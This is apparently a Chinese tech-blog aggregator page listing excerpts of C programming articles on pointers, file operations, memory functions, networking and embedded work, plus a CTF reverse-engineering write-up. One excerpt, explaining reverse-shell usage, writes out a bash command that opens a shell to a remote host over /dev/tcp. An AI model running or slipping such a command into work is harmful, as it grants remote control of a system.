技术栈
c语言
缘三水
13 分钟前
c语言
·
开发语言
·
指针
【C语言】12.指针(2)
🎉个人主页: 缘三水的博客 ❄专栏传送门:C语言专栏(新手向) 🎀人生格言:行动是迷茫的最好解药🚀个人介绍:
dangdang___go
1 小时前
c语言
·
开发语言
文件操作c语言
外部设备(键盘,文件,网络,光盘)-----》流---.>屏幕,键盘,网络上,u盘,光盘每一个文件被打开进行操作,会生成一个文件信息区,其实就是FILE类型的结构体。
liu****
2 小时前
c语言
·
开发语言
·
数据结构
·
c++
·
算法
12.C语言内存相关函数
但是自己和自己进行拷贝的时候,会发生覆盖,结果并不对有重复的拷贝的情况,就使用我们的memmove
!停
2 小时前
c语言
深入理解指针(2)
在上一个章节中,我们在使用指针访问数组的内容时有这样一句代码在这里我们使用&arr[0]的方式拿到了数组第1个元素地址。但是其实数组名本来就是地址,而且是数组首元素的地址。
Tandy12356_
3 小时前
c语言
·
c++
·
tcp/ip
·
计算机网络
手写TCP/IP协议栈——无回报ARP包生成
如果局域网范围内每一个人都要找张三,就都需要广播一遍,浪费网络性能不妨设定:主机启用网卡的时候,自动在网络上广播自己的IP地址&&MAC地址,表示我已经上线了,方便网络当中的其他主机能感知到你的存在
赖small强
3 小时前
linux
·
c语言
·
函数指针
·
stack frame
【Linux C/C++开发】C语言函数深度技术指南 (Deep Dive into C Functions)
在C语言中,函数并非抽象概念,而是物理存在于内存中的实体。编译后,函数体的机器指令被存储在 代码段 (.text) 中。
前端世界
3 小时前
c语言
·
开发语言
C 语言项目实践:用指针实现一个“班级成绩智能分析器”
这篇文章基于教材中关于指针(pointer)和指针变量的讲解,把抽象的概念放到一个贴近日常的实用场景 — 班级学生成绩分析小工具 中来说明。我们会用 C 语言展示如何用指针来:
Less is moree
3 小时前
c语言
·
开发语言
3.C语言文件操作:写操作fputc(),fputs(),fwrite()
写操作大概是三个步骤:1.打开(定义)文件fopen()函数2.进行写操作fputc()一次写一个,返回写出的字符
Geek__1992
7 小时前
c语言
·
arm开发
·
stm32
·
单片机
GD32 4G模块通信调试记录
EG800AK-CN 是移远通信专为 M2M 和 IoT 领域而设计的超小尺寸 LTE Cat 1 bis 无线通信模块,支持最大下行速率10 Mbps 和最大上行速率 5 Mbps,超小尺寸,超高性价比。同时,EG800AK-CN在封装上兼容LTE Standard EC800E-CN、EC800G-CN、EC800M-CN、EC800K-CN、EG800W-CN、EG800K系列和 EG810M系列模块。
!停
4 小时前
c语言
深入理解指针(1)
在讲内存和地址之前,我们想有个生活中的案例: 假设有一栋宿舍楼,把你放在楼里,楼上有100个房间,但是房间没有编号,你的⼀个朋友来找你玩, 如果想找到你,就得挨个房子去找,这样效率很低,但是我们如果根据楼层和楼层的房间的情况,给每个房间编上号
sinat_60203536
4 小时前
c语言
翁恺 9取地址运算
scanf 的功能是 “把用户输入的内容存到变量里”,但它需要知道 **“变量存在哪个柜子里”**(即地址),才能把内容放进去。
古城小栈
4 小时前
c语言
·
python
·
golang
Go 72变之 编成 C语言
作为一名程序员,我们早已习惯了Go语言“编译即运行”的便捷性——通过go build一键生成可执行文件,无需关心底层的编译细节。但在某些特殊场景下,比如需要将Go代码嵌入到C项目中、适配仅支持C编译器的嵌入式平台,或者深入理解Go语言的编译链路时,“将Go编译成C语言”就成了一个极具价值的技术点。
hefaxiang
5 小时前
c语言
·
开发语言
分支和循环(中)
逻辑操作符提供逻辑判断功能,逻辑操作符可用于构建更复杂的表达式,逻辑操作符主要有如下三个:(1)!:逻辑取反运算符(改变单个表达式的真假)
无限进步_
6 小时前
c语言
·
开发语言
·
数据库
·
c++
·
后端
·
visual studio
C语言文件操作函数解析
文件操作是C语言编程中至关重要的一部分,它连接着程序与外部世界,实现了数据的持久化存储。无论是简单的文本处理,还是复杂的数据管理,都离不开文件操作。本文将通过一系列完整的代码示例,全面解析C语言中各种文件操作函数的使用方法、适用场景以及最佳实践。从基础的字符读写到高级的文件定位,从文本模式到二进制模式,我们将深入探讨每一个细节。
福尔摩斯张
6 小时前
java
·
linux
·
运维
·
服务器
·
c语言
·
数据结构
·
算法
C语言文件操作详解(一):文件的打开与关闭(详细)
在C语言编程中,文件操作是一项至关重要的技能。无论是开发简单的命令行工具,还是构建复杂的系统软件,文件操作都扮演着不可或缺的角色。文件不仅是数据持久化存储的载体,也是程序与外部世界进行数据交换的重要接口。掌握C语言中的文件操作,对于提升编程能力和解决实际问题具有重要意义。
white-persist
6 小时前
c语言
·
开发语言
·
汇编
·
python
·
算法
·
网络安全
·
everything
【攻防世界】reverse | answer_to_everything 详细题解 WP
下载附件main函数伪代码:not_the_flag函数伪代码:分析这两个函数,结合题目描述,将原始字符串kdudpeh进行 sha1 加密加上 flag{} 即可得到 flag,这里写了一个exp方便进行加密
vortex5
6 小时前
c语言
·
chrome
·
bash
反弹Shell场景中bash -c与直接bash -i的适用差异解析
在反弹Shell场景中,有的时候需要用bash -c "bash -i >& /dev/tcp/192.168.137.205/7777 0>&1" 但是有的时候用bash -i >& /dev/tcp/192.168.137.205/777 0>&1就能解决,两者几乎没有同时适用的情况,这是为什么呢?
fufu0311
6 小时前
linux
·
c语言
·
开发语言
·
数据结构
·
算法
Linux环境下的C语言编程(三十六)
设计一个栈,支持push、pop、top操作,并能在常数时间内检索到最小元素。选择合适的实现:如果知道最大大小:用数组栈
猫猫的小茶馆
6 小时前
c语言
·
汇编
·
arm开发
·
stm32
·
单片机
·
嵌入式硬件
·
eclipse
【ARM】eclipse 中创建汇编工程
参考:Cortex-A7 开发环境搭建 本文的目的在于帮你在主机上搭建一套完整的 Cortex-A7 交叉开发环境,从工具链安装到仿真、烧录与调试,为后续驱动与系统开发打下基础。假定你已学会了 Linux 基础命令、嵌入式交叉编译概念。
degen_
6 小时前
c语言
·
笔记
·
bios
编写其他UEFI application:读取CPUID
以下代码由Cpuid.c改写得到输出结果: